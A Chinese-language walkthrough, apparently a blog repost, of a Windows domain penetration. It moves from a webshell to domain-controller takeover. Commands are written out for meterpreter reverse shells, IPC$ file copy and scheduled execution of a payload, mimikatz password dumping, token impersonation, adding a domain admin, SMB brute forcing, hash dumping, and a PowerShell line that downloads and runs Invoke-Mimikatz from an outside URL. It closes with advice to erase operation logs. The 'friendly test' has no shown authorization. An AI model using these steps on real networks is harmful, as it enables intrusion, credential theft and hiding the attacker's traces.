內網滲透測試資料基本上都是很多大牛的文章告訴我們思路如何,但是對於我等小菜一直是雲裏霧裏。
於是使用什麼樣的工具才內網才能暢通無阻,成了大家一直以來的渴求。
今天小菜我本着所有師傅們無私分享的精神,特將三年內求師傅,求妹子,求神器所得,經過整理後,關鍵的知識點寫出來。
相關知識點總結如下:
- 免殺 payload 的生成,請使用 Veil
- msf 在 meterpreter 下的提權嘗試
- msf 在 meterpreter 下的 bypassuac 嘗試
- 內網滲透測試過程中的信息關聯
- meterpreter 的路由添加以及相關掃描
- Powershell 在 meterpreter 下面的使用
- Meterpreter 的 post 模塊使用
- Msf 的 custom 自己生成的 payload 的使用
- 進程注入竊取令牌
其實重點不在於知識的多少,大家只需關注比較重要的連接點。
分享爲了方便大家以後在安全脈搏一起交流,一起學習,一起進步(一起Zhuangbility)。
首先 shell 是別人給我的,也不是這裏介紹的重點,所以在此忽略。
滲透測試的環境詳細如下:
- A 堡壘機(webshell 所在機器):windows server 2012
- B 堡壘機:windows 2008(powershell 掃描機器)
- C 堡壘機:有域管理進程的機器 windows server 2012
- D 堡壘機若干
第一步 反彈 meterpreter
其實每一次的滲透測試開始並不像我們想象的那麼順利,而這一次的開始也同樣意味着
我們一次不同的旅程,整個的滲透測試過程我花了差不多四個小時的時間,大部分的時間都是花在解決這些問題之上。
1 webshell 無法上傳 exe
本來想着直接上傳 meterpreter 的 payload 的直接反彈的結果發現上傳不了,可以選擇 powershell 的 meterpreter 的模塊來實現
2 meterpreter 的 reverse_tcp 模塊反彈不成功
Msf 的 payload 的反彈,剛開始我使用的模塊是 meterpreter 的 reverse_tcp 的模塊來嘗試,發現可以反彈,但是一直無法建立成功 meterpreter,
說明一定有監控發現了我們的行爲。於是在此基礎上嘗試 meterpreter 的 reverse_https 模塊,順利反彈成功
詳細遇到的問題和解決過程的圖如下所示:
圖 1-1 使用 payload
圖 1-2 設置 https 的 payload
圖 1-3 反彈成功
第二步 嘗試提權 windows server 2012
當我們首先拿到一個 (權限不足的)Webshell 的時候想到的第一件事是什麼?那肯定是提權,我也想大家想的一樣,首先開始了我們的提權之旅。
首先使用 msf 的 search 模塊 ms15,會得到一些漏洞利用的模塊。我嘗試了 ms15_05 以及 ms15_078 全部以失敗結束。
詳細的圖如下所示:
圖 2-1 提權嘗試失敗
第三步 嘗試當前賬號 Bypassuac 測試
剛開始一直忘說了一件事,那就是 webshell 本身的權限,我們目前 webshell是 jsp 的,具有當前的一個普通域用戶的權限。
我於是也想到了是不是可以通過bypassuac 來完成提權呢,但是測試的結果可想而知,又一次失敗了。
目前詳細的情況如下:
圖 3-1 當前的用戶權限
圖 3-2 bypassuac 嘗試
第四步 相關信息收集
當我們此時提權不成功的情況下,我們還是可以利用當前的用戶進行域滲透測試的。那
麼目前我們具有以下幾種方式進行滲透測試域:
1 收集域裏面的相關信息,包括所有的用戶,所有的電腦,以及相關關鍵的組的信息。
常使用到的命令如下:
2 收集 sqlserver 的相關信息,如果當前堡壘機使用了 sql server 的話,恰巧用戶是當前的域用戶的話,我們在此可以使用 sqlcmd 的信息收集,以及掃描攻擊。
在這裏只是提到,因爲篇幅問題,暫時不做深一層討論
根據我的滲透測試經驗,我在此只是做了最簡單的信息收集,首先使用 sqlcmd 的獲取sql server 的所有機器列表、當前堡壘機的機器名、當前堡壘機的 IP、
還有 net view 來做簡單的信息收集。
詳細的圖如下所示:
圖 4-1 SQLCMD 獲取信息
圖 4-2 當前的機器名
圖 4-3 net view 相關的機器名
第五步 信息分析,成功獲取一臺服務器權限
當我們信息收集完成以後,我們要開始考慮接下來要做什麼。
首先我們來看一下我們目前擁有什麼:
- A 一個域用戶的進程權限,當前堡壘機是 windows server 2012,提權失敗。(假如能提權成功,我們依然是無法獲取到用戶的明文密碼)
- B 當前的堡壘機的用戶名
- C 當前 sqlcmd 獲取到的同樣安裝了 sql server 機器的名稱
目前我們的思路有:
- 1 使用 meterpreter的目前權限來添加路由進行弱口令掃描
- 2 使用 powershell 對內網進行掃描(本次滲透測試使用了,但是在這裏暫時沒有使用),具體來說時間比較慢一點,當然此時此刻powershell 絕對算是一個內網滲透測試又一神器
- 3 使用當前的用戶權限架設 socks4a,然後利用第一步我們獲取到的信息 socks 進行內網掃描
- 4 使用當前用戶的權限,對域裏面的電腦進行 IPC,或者 DIR 溢出(也就是 dir 其他電腦的 c 盤,如果成功表示有權限)批量測試
通過上面的分析,此時我選擇了最偷懶的一種方法,進行當前堡壘機的機器名和 net view 的機器名進行對比,找出來非常相似的幾個機器名,手動測試。
當前速度也是非常快的,在嘗試了兩次的時候就成功了。
詳細過程如下:
Net use \\ip\c$
Tasklist /v /s ip
圖 5-1 net use 測試成功
圖 5-2 tasklist 執行成功
第六步 域信息收集
首先在第四步已經說了域相關的信息收集,這裏就不做過多的介紹了,這次是在第五步的基礎上做的相關收集,相關知識點如下:
1 域信息收集,其中用到的命令如下:
2 ipc$入侵,大家相關的話自行百度經典 IPC$入侵
Net use \\ip\c$
Copy bat.bat \\ip\c$ (其中 bat.bat 是 powershell 的 meterpreter)
Net time \\ip
At \\ip time c:\bat.bat
3 上傳抓明文工具 64.exe(mimikatz 神器),大家都懂的
Upload /home/64.exe c:\
Shell
Cd \
64.Exe
4 查看抓取到的用戶的詳細信息
Net use xxx /domain
5 使用 meterpreter 的 ps,查看相關用戶的進程列表
6 嘗試使用域令牌假冒
Use incongnito
list_token -u
Impersonate_token xxxxxx
我在這次滲透測試過程中嘗試上面講到的所有知識點,詳細的截圖如下:
圖 6-1 查看域管
圖 6-2 查看域組
圖 6-3 查看域控制器
圖 6-4 查看企業管理組
圖 6-5 共享 copy 數據
圖 6-6 經典 ipc$
圖 6-7 反彈 meterpreter 成功
圖 6-8 上傳文件
圖 6-9 查看服務器信息
圖 6-10 抓取密碼
圖 6-11 查看域用戶權限
圖 6-12 查看域用戶權限
圖 6-13 竊取令牌嘗試
圖 6-14 查看主域控的 IP
第七步 SMB 快速擴張控制權限
此時此刻,作爲讀者你的在想什麼呢?是不是當看到第六步的時候就可以去睡覺了,畢竟已經凌晨五點了。
但是此時此刻作爲一個專業求師傅,求妹子,求神器的人可不這麼想。
我們要做最後的衝刺,因爲黎明的鐘聲已經敲響。
先來看一下我們當前擁有什麼權限:
有兩臺堡壘機,兩個用戶權限
目前我們要做的事情很簡單,就是快速的在內網擴大控制權限,那麼如何去做,其實很簡單的,就是快速的掃描以完成我們的夢想。
具體如下:
- 1 使用當前獲取到的兩個用戶權限,快速的進行掃描。(掃描哪裏了,看到第六步最後一張圖 6-14 了沒,就是域控的 IP 段)
- 2 smb_login 掃描
- 3 端口轉發進內網
目前思路我們已經有了,神器 msf 終於迎來了自己夢想惡天堂。讓我們愉快的玩耍吧。
詳細知識點如下:
- 1 msf 添加路由 route add ip mask sessionid
- 2 smb_login 模塊或者使用 psexec_scanner(這個模塊需要你自己搜索一下)
- 3 meterpreter 端口轉發
- 4 msf 的 socks4a 模塊(這次滲透測試沒使用到,但是並不代表它不美好)
圖 7-1 設置 smb_login 的參數
圖 7-2 爆破成功的機器
圖 7-3 查看已經獲取到的權限
圖 7-4 端口轉發和目前擁有的權限
第八步 Powershell 獲取域控管理員在線的機器
內網滲透測試不得不說到兩大神器:msf 和 powershell,但是看大家基本上都是分開來使用的,或者說大家在一次滲透測試的過程中很少遇到,今天作爲讀者的你有福了。
首先來講講 powershell 的在內網滲透測試中不僅能掃,能爆,能轉發,當然還能做更多的事情,
一般使用到的模塊有下面三個:
- 1 Empire 據說是神器,也確實是神器,我沒使用過,暫時不多說
- 2 PowerUp 據說提權神器,也確實是神器,我很少使用。也暫時不多說
- 3 PowerView 據說是域滲透神器,也確實是神器,我一直用,非常漂亮
來說說 powershell 的使用,其實也很簡單,只是大家在用的過程中一般沒有太多的注意,
主要有三種方式來調用:
1 當然是下載到本地執行,詳細使用方法如後面連接:powershell "IEX (New-ObjectNet.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds"
2 第二種方式是把 powershell 文件上傳到堡壘機本地執行, powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1; Invoke-UserHunter}"
3 上傳到對方本地,然後 Import-Module 導入,使用PowerView 的所有模塊使用其實很簡單,直接調用方法,大家看看下面的圖就知道了。
如果你能看到這裏開始你的 powershell 之旅,內網將開始變得簡單。
圖 8-1 powerview 的相關方法
廢話講了這麼多,下面開始我們的實戰,其實很簡單,我真的想說很簡單,簡單到一句話搞定。
Powerview 中的 Invoke-UserHunter 是獲取當前域管理員在線登錄的機器。
這次的旅程我們就用它來完成進一步的信息獲取。詳細如下圖:
圖 8-1 powershell 執行命令
圖 8-2 powerview 的效果展示
第九步 域控管理員權限的獲取(windows2012 權限)
在經過第八步之後,身爲讀者的你是不是感覺這次收穫有一點點,內網域滲透測試再也不是那麼一籌莫展了呢。
神器過後還是神器,又見它 windows server 2012,雖然域管理在線,但是我們的抓密碼神器陽痿了,總不能修改註冊表,等管理員再次登錄吧。
目前來看看我們遇到的問題,通過 powershell 成功獲取到相關的域控管理員在線的一臺機器 windows server 2012,並且用這臺機器的權限,那麼接下來我們去搞定域控。
思路如下:
- 1 修改註冊表等待域控管理員再次登錄來抓取(黃花菜都會涼的)
- 2 通過 PowerUp 的進程來注入獲取域權限(沒使用過暫時放棄),當然此處也可以寫類似外掛的功能注入進程獲取權限
- 3 msf 的令牌竊取功能(這個可以很容易實現)
知道思路,那麼接下來就開始我們愉快的旅程吧。我要求師傅,求妹子,求神器,專業求到域控去:
1 同樣使用 ipc 經典入侵手法,反彈 meterpreter,
Getsysttem 權限
Ps 查看域管理所在的進程
Migrate pid 注入進程
2 繼續經典的 IPC$到域控
Meterpreter 下面 shell
Net time \\域控 ip
At \\域控 ip time c:\bat.bat(意料之外的錯誤,提示 schtasks.exe,不熟){安全脈搏小編注:08及以上at命令就廢棄啦,都用schtasks定時計劃任務}
3 通往成功的路不只有一條,添加域管賬戶
Net user demo demo /ad /domain
Net group "domain admins" demo /ad /domain
到了此刻,我們已經擁有域管權限了。
詳細的截圖如下:
圖 9-1 注入域管進程,連接域控
圖 9-2 添加域管理賬號
圖 9-3 查看域管理是否成功
第十步 域控我來了(msf psexec 反彈 shell)
一看時間,凌晨七點了,早上的太陽要升起來了。此時此刻你的心情是怎麼樣呢。該晨起跑步了吧。東方的太陽就要升起了,域控的權限也終於到了了。
先講思路,登錄域控其實有很多方式的,下面我說一下我能知道的幾種吧,相信大家也大家也都知道的:
反彈需要注意要用到的知識,我們這裏採用的是 psesexc 來反彈 meterpreter,其中涉及到的知識如下:
詳細的使用過程如下圖:
圖 10-1 psexec 執行測試
圖 10-2 psexec 默認反彈不成功
圖 10-3 meterpreter 的 https 模塊反彈成功
圖 10-4 域控的系統信息
第十一步 Meterpreter 獲取所有用戶的 hash
有了域的權限之後,如果我們還想進行深層次的控制,那麼 dumphash 是必不可少的。
首先來看看我們需要的知識:
- 1 msf 有兩個模塊可以使用,一個是 hashdump,此模塊只能導出本地的 hash,大家測試就可以知道了,另外一個是 smart_hashdump,此模塊可以用來導出域用戶的 hash.
- 2 powershell 有可以直接導出的模塊,大家自行嘗試一下
- 3 wce,mimikatz 等神器的使用
在這裏我採用的是 msf 的 smart_hashdump 的模塊。在此需要注意的是要想使使用此模塊導出 hash,必須要使用 system 的權限才行。
詳細的過程如下圖:
圖 11-1 smart_hashdump 模塊的使用
第十二步 曲折的探索之路
這裏是整理一下之前用到的一些技術,和走過的一些彎路。文檔到這差不多算是完成了
一個從 webshell 到域控的探索之路算是完成了,當然在這裏我把過程中走的一些彎路還有不足點指出來,歡迎大家的指正,共同學習。
圖 12-1 session 控制圖
根據上面的圖知道,我現在控制的 Session 一共有 5 個,其中有四個是必須要獲取的,分別爲 session1,session2 session4,session5。
其中 session1 爲 webshell 反彈所獲得,第二個session2 是信息分析獲取到的,session4 爲獲取域管理員所獲取,session5 爲域。
其中 session3就是我所走過的彎路,浪費了時間。
之後我們必須爲了更好更快速有效的完成滲透測試,平時努力練劍。盡力做到不出劍則已,出劍則見血。
第十三步 我輕輕的來了,我又輕輕的走了,管理員,再見(清理)
作爲一次比較成功的友情測試,我們必須要做到來無影,去無蹤。所以收尾工作,也將悄悄展開。
涉及到相關的知識點:
- 1 刪除之前添加的域管理賬號
- 2 刪除所有的使用過程中的工具
- 3 刪除自己所有的操作記錄
- 4 關閉所有的 meterpreter
在此過程中我們一共上傳了兩個文件,一個 bar.bat,一個 64 位的 mimikatz 抓密碼工具,
直接刪除即可。
圖 13-1 刪除用戶
圖 13-2 關閉所有的 session
總結
總結說點什麼好呢。還是先喊口號吧------“求妹子,求師傅,求神器”。
感謝三年多以來爲我默默分享的師傅們,感謝妹子在我做這次友情測試的時候,她一直靜靜的陪在我這邊,
感謝這些年求來的各種神器,沒有這些資源的支持,我將不會完成這次的友情測試。
作爲一名滲透測試愛好者,我們一直在努力的追求着心中那個美麗的夢想;
作爲一名程序員,我們就是想簡單的 coding。人生如此美好,大家何不聯手,一起分享美好。
目錄
域滲透測試教程(windows server 2012)............................................................................................ 1
前言............................................................................................................................................. 2
第一步 反彈 meterpreter.......................................................................................................... 2
第二步 嘗試提權 windows server 2012................................................................................... 4
第三步 嘗試當前賬號 Bypassuac 測試.................................................................................... 5
第四步 相關信息收集............................................................................................................... 6
第五步 信息分析,成功獲取一臺服務器權限...................................................................... 8
第六步 域信息收集................................................................................................................. 10
第七步 SMB 快速擴張控制權限............................................................................................ 16
第八步 Powershell 獲取域控管理員在線的機器.................................................................... 18
第九步 域控管理員權限的獲取(windows2012 權限).......................................................... 20
第十步 域控我來了(msf psexec 反彈 shell)........................................................................... 22
第十一步 Meterpreter 獲取所有用戶的 hash....................................................................... 24
第十二步 曲折的探索之路..................................................................................................... 25
第十三步 我輕輕的來了,我又輕輕的走了,管理員,再見(清理).................................. 26
總結........................................................................................................................................... 27
【作者:安全脈搏成員cimoom 個人博客:maozi.lv 安全脈搏 分享技術 悅享品質 】